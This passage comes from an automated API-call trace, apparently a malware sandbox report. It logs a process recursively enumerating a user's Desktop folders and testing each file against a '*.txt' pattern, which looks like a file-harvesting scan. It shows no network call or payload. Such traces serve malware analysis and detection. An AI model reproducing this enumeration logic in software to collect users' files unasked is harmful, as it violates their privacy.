nFileSizeLow=0x4f9d, dwReserved0=0x0, dwReserved1=0x0, cFileName="VRBCI1zk.flv", cAlternateFileName="")) returned 1 [0099.425] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL" [0099.425] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\" [0099.425] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\", lpString2="VRBCI1zk.flv" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\VRBCI1zk.flv") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\VRBCI1zk.flv" [0099.425] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\EDvMoYL" | out: lpString1="\\EDvMoYL") returned="\\EDvMoYL" [0099.425] lstrcatW (in: lpString1="\\EDvMoYL", lpString2="\\" | out: lpString1="\\EDvMoYL\\") returned="\\EDvMoYL\\" [0099.425] lstrcatW (in: lpString1="\\EDvMoYL\\", lpString2="VRBCI1zk.flv" | out: lpString1="\\EDvMoYL\\VRBCI1zk.flv") returned="\\EDvMoYL\\VRBCI1zk.flv" [0099.425] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x70) returned 0x21104e8 [0099.425] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\VRBCI1zk.flv", cchWideChar=52, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 52 [0099.425] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x34) returned 0x2110560 [0099.425] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\VRBCI1zk.flv", cchWideChar=52, lpMultiByteStr=0x2110560, cbMultiByte=52, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\VRBCI1zk.flv", lpUsedDefaultChar=0x0) returned 52 [0099.425] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x34300d0 [0099.425] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2110560 | out: hHeap=0x2110000) returned 1 [0099.425] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104e8 | out: hHeap=0x2110000) returned 1 [0099.425] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.425] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xc) returned 0x3430fc8 [0099.425] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x3430fc8, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0099.426] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430fc8 | out: hHeap=0x2110000) returned 1 [0099.426] PathMatchSpecW (pszFile="VRBCI1zk.flv", pszSpec="*.txt") returned 0 [0099.426] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0099.426] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd2c4070, ftCreationTime.dwHighDateTime=0x1d7acdb, ftLastAccessTime.dwLowDateTime=0xd3dcdb60, ftLastAccessTime.dwHighDateTime=0x1d7aed6, ftLastWriteTime.dwLowDateTime=0xd3dcdb60, ftLastWriteTime.dwHighDateTime=0x1d7aed6, nFileSizeHigh=0x0, nFileSizeLow=0x8bbf, dwReserved0=0x0, dwReserved1=0x0, cFileName="WEdQh.m4a", cAlternateFileName="")) returned 1 [0099.426] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL" [0099.426] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\" [0099.426] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\", lpString2="WEdQh.m4a" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\WEdQh.m4a") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\WEdQh.m4a" [0099.426] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\EDvMoYL" | out: lpString1="\\EDvMoYL") returned="\\EDvMoYL" [0099.426] lstrcatW (in: lpString1="\\EDvMoYL", lpString2="\\" | out: lpString1="\\EDvMoYL\\") returned="\\EDvMoYL\\" [0099.426] lstrcatW (in: lpString1="\\EDvMoYL\\", lpString2="WEdQh.m4a" | out: lpString1="\\EDvMoYL\\WEdQh.m4a") returned="\\EDvMoYL\\WEdQh.m4a" [0099.426] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x70) returned 0x21104e8 [0099.426] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\WEdQh.m4a", cchWideChar=49, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 49 [0099.426] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x31) returned 0x2110560 [0099.426] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\WEdQh.m4a", cchWideChar=49, lpMultiByteStr=0x2110560, cbMultiByte=49, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\WEdQh.m4a", lpUsedDefaultChar=0x0) returned 49 [0099.426] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x34300d0 [0099.426] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2110560 | out: hHeap=0x2110000) returned 1 [0099.426] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104e8 | out: hHeap=0x2110000) returned 1 [0099.426] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.426] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xc) returned 0x3430fc8 [0099.426] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x3430fc8, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0099.426] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430fc8 | out: hHeap=0x2110000) returned 1 [0099.426] PathMatchSpecW (pszFile="WEdQh.m4a", pszSpec="*.txt") returned 0 [0099.426] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0099.426] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2baade0, ftCreationTime.dwHighDateTime=0x1d7a2e8, ftLastAccessTime.dwLowDateTime=0x25e40390, ftLastAccessTime.dwHighDateTime=0x1d7af7a, ftLastWriteTime.dwLowDateTime=0x25e40390, ftLastWriteTime.dwHighDateTime=0x1d7af7a, nFileSizeHigh=0x0, nFileSizeLow=0x17588, dwReserved0=0x0, dwReserved1=0x0, cFileName="_xRb.wav", cAlternateFileName="")) returned 1 [0099.426] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL" [0099.426] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\" [0099.426] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\", lpString2="_xRb.wav" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\_xRb.wav") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\_xRb.wav" [0099.427] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\EDvMoYL" | out: lpString1="\\EDvMoYL") returned="\\EDvMoYL" [0099.427] lstrcatW (in: lpString1="\\EDvMoYL", lpString2="\\" | out: lpString1="\\EDvMoYL\\") returned="\\EDvMoYL\\" [0099.427] lstrcatW (in: lpString1="\\EDvMoYL\\", lpString2="_xRb.wav" | out: lpString1="\\EDvMoYL\\_xRb.wav") returned="\\EDvMoYL\\_xRb.wav" [0099.427] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x60) returned 0x21104e8 [0099.427] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\_xRb.wav", cchWideChar=48, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 48 [0099.427] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x2110550 [0099.427] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\_xRb.wav", cchWideChar=48, lpMultiByteStr=0x2110550, cbMultiByte=48, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\_xRb.wav", lpUsedDefaultChar=0x0) returned 48 [0099.427] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x34300d0 [0099.427] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2110550 | out: hHeap=0x2110000) returned 1 [0099.427] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104e8 | out: hHeap=0x2110000) returned 1 [0099.427] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.427] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xc) returned 0x3430108 [0099.427] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x3430108, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0099.427] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430108 | out: hHeap=0x2110000) returned 1 [0099.427] PathMatchSpecW (pszFile="_xRb.wav", pszSpec="*.txt") returned 0 [0099.427] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0099.427] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2baade0, ftCreationTime.dwHighDateTime=0x1d7a2e8, ftLastAccessTime.dwLowDateTime=0x25e40390, ftLastAccessTime.dwHighDateTime=0x1d7af7a, ftLastWriteTime.dwLowDateTime=0x25e40390, ftLastWriteTime.dwHighDateTime=0x1d7af7a, nFileSizeHigh=0x0, nFileSizeLow=0x17588, dwReserved0=0x0, dwReserved1=0x0, cFileName="_xRb.wav", cAlternateFileName="")) returned 0 [0099.427] FindClose (in: hFindFile=0x6d1d58 | out: hFindFile=0x6d1d58) returned 1 [0099.427] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x50) returned 0x34300d0 [0099.427] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0099.427] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x27) returned 0x211aae0 [0099.427] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL", cchWideChar=39, lpMultiByteStr=0x211aae0, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL", lpUsedDefaultChar=0x0) returned 39 [0099.427] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x21104e8 [0099.427] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x211aae0 | out: hHeap=0x2110000) returned 1 [0099.427] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0099.428] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.428] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xc) returned 0x3430fc8 [0099.428] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x3430fc8, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0099.428] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430fc8 | out: hHeap=0x2110000) returned 1 [0099.428] PathMatchSpecW (pszFile="EDvMoYL", pszSpec="*.txt") returned 0 [0099.428] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104e8 | out: hHeap=0x2110000) returned 1 [0099.428] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe0007ba0, ftCreationTime.dwHighDateTime=0x1d7aee9, ftLastAccessTime.dwLowDateTime=0x1c72ab20, ftLastAccessTime.dwHighDateTime=0x1d7aef0, ftLastWriteTime.dwLowDateTime=0x1c72ab20, ftLastWriteTime.dwHighDateTime=0x1d7aef0, nFileSizeHigh=0x0, nFileSizeLow=0x17ae0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ffg4.png", cAlternateFileName="")) returned 1 [0099.428] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.428] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.428] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="ffg4.png" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\ffg4.png") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\ffg4.png" [0099.428] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.428] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.428] lstrcatW (in: lpString1="\\", lpString2="ffg4.png" | out: lpString1="\\ffg4.png") returned="\\ffg4.png" [0099.428] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x50) returned 0x34300d0 [0099.428] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\ffg4.png", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0099.428] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x28) returned 0x211aba0 [0099.428] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\ffg4.png", cchWideChar=40, lpMultiByteStr=0x211aba0, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\ffg4.png", lpUsedDefaultChar=0x0) returned 40 [0099.428] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x21104e8 [0099.428] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x211aba0 | out: hHeap=0x2110000) returned 1 [0099.428] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0099.428] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.428] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xc) returned 0x3430fc8 [0099.428] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x3430fc8, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0099.428] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430fc8 | out: hHeap=0x2110000) returned 1 [0099.428] PathMatchSpecW (pszFile="ffg4.png", pszSpec="*.txt") returned 0 [0099.428] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104e8 | out: hHeap=0x2110000) returned 1 [0099.428] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6e5e5f0, ftCreationTime.dwHighDateTime=0x1d7ad11, ftLastAccessTime.dwLowDateTime=0x92006230, ftLastAccessTime.dwHighDateTime=0x1d7ad95, ftLastWriteTime.dwLowDateTime=0x92006230, ftLastWriteTime.dwHighDateTime=0x1d7ad95, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FOg-h_AvoQIw_HJ", cAlternateFileName="FOG-H_~1")) returned 1 [0099.428] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.429] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.429] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="FOg-h_AvoQIw_HJ" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ" [0099.429] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.429] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.429] lstrcatW (in: lpString1="\\", lpString2="FOg-h_AvoQIw_HJ" | out: lpString1="\\FOg-h_AvoQIw_HJ") returned="\\FOg-h_AvoQIw_HJ" [0099.429] lstrcmpW (lpString1="FOg-h_AvoQIw_HJ", lpString2=".") returned 1 [0099.429] lstrcmpW (lpString1="FOg-h_AvoQIw_HJ", lpString2="..") returned 1 [0099.429] lstrcpyW (in: lpString1=0x19c9ac, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ" [0099.429] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ", lpString2="\\*.*" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\*.*") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\*.*" [0099.429] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\*.*", lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6e5e5f0, ftCreationTime.dwHighDateTime=0x1d7ad11, ftLastAccessTime.dwLowDateTime=0x92006230, ftLastAccessTime.dwHighDateTime=0x1d7ad95, ftLastWriteTime.dwLowDateTime=0x92006230, ftLastWriteTime.dwHighDateTime=0x1d7ad95, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d1d58 [0099.429] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ" [0099.429] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\" [0099.429] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\", lpString2="." | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\.") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\." [0099.429] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\FOg-h_AvoQIw_HJ" | out: lpString1="\\FOg-h_AvoQIw_HJ") returned="\\FOg-h_AvoQIw_HJ" [0099.429] lstrcatW (in: lpString1="\\FOg-h_AvoQIw_HJ", lpString2="\\" | out: lpString1="\\FOg-h_AvoQIw_HJ\\") returned="\\FOg-h_AvoQIw_HJ\\" [0099.429] lstrcatW (in: lpString1="\\FOg-h_AvoQIw_HJ\\", lpString2="." | out: lpString1="\\FOg-h_AvoQIw_HJ\\.") returned="\\FOg-h_AvoQIw_HJ\\." [0099.429] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0099.429] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6e5e5f0, ftCreationTime.dwHighDateTime=0x1d7ad11, ftLastAccessTime.dwLowDateTime=0x92006230, ftLastAccessTime.dwHighDateTime=0x1d7ad95, ftLastWriteTime.dwLowDateTime=0x92006230, ftLastWriteTime.dwHighDateTime=0x1d7ad95, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.429] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ" [0099.429] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\" [0099.429] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\", lpString2=".." | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\..") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\.." [0099.430] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\FOg-h_AvoQIw_HJ" | out: lpString1="\\FOg-h_AvoQIw_HJ") returned="\\FOg-h_AvoQIw_HJ" [0099.430] lstrcatW (in: lpString1="\\FOg-h_AvoQIw_HJ", lpString2="\\" | out: lpString1="\\FOg-h_AvoQIw_HJ\\") returned="\\FOg-h_AvoQIw_HJ\\" [0099.430] lstrcatW (in: lpString1="\\FOg-h_AvoQIw_HJ\\", lpString2=".." | out: lpString1="\\FOg-h_AvoQIw_HJ\\..") returned="\\FOg-h_AvoQIw_HJ\\.." [0099.430] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0099.430] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0099.430] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97427d50, ftCreationTime.dwHighDateTime=0x1d7ac05, ftLastAccessTime.dwLowDateTime=0x29e948e0, ftLastAccessTime.dwHighDateTime=0x1d7aced, ftLastWriteTime.dwLowDateTime=0x29e948e0, ftLastWriteTime.dwHighDateTime=0x1d7aced, nFileSizeHigh=0x0, nFileSizeLow=0xcba3, dwReserved0=0x0, dwReserved1=0x0, cFileName="srTdgc8WYpda3WAi2Rl.png", cAlternateFileName="SRTDGC~1.PNG")) returned 1 [0099.430] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ" [0099.430] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\" [0099.430] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\", lpString2="srTdgc8WYpda3WAi2Rl.png" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\srTdgc8WYpda3WAi2Rl.png") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\srTdgc8WYpda3WAi2Rl.png" [0099.430] lstrcpyW (in: lpString1=0x19c7a4, 